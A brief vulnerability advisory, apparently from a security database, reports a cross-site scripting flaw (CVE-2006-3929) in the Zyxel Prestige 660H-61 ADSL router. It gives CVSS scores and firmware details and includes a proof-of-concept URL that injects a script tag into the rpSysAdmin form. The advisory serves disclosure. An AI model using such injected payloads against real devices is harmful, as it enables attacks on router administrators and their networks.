Zyxel Prestige 660H-61 Cross-Site Scripting

2006.08.01

Credit: jose palanco

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2006-3929

CWE: CWE-Other

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Zyxel Prestige 660H-61  Cross-Site Scripting

Tested on Zyxel Prestige 660H-61

ZyNOS F/W Version: V3.40(PT.0)b32 | 1/28/2005

Standard:NORMAL

Discovered by:  Jos Ramn Palanco: jose.palanco(at)eazel(dot).es

http://www.eazel.es

Description:

Zyxel Prestige 660H-61 ADSL Router is vulnerable to a security vulnerability that allow Cross-Site Scripting attacks.

Due to improper filtering, a remote attacker can cause a cross site scripting in this script:

http://router/Forms/rpSysAdmin?a=%3Cscript%3Ealert('www.eazel.es')%3C/sc
ript%3E

Original advisory:

http://www.eazel.es/media/advisory004-Zyxel-Prestige-660H-61-Cross-Site-
Scripting.html

See this note in RAW Version

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Zyxel Prestige 660H-61 Cross-Site Scripting

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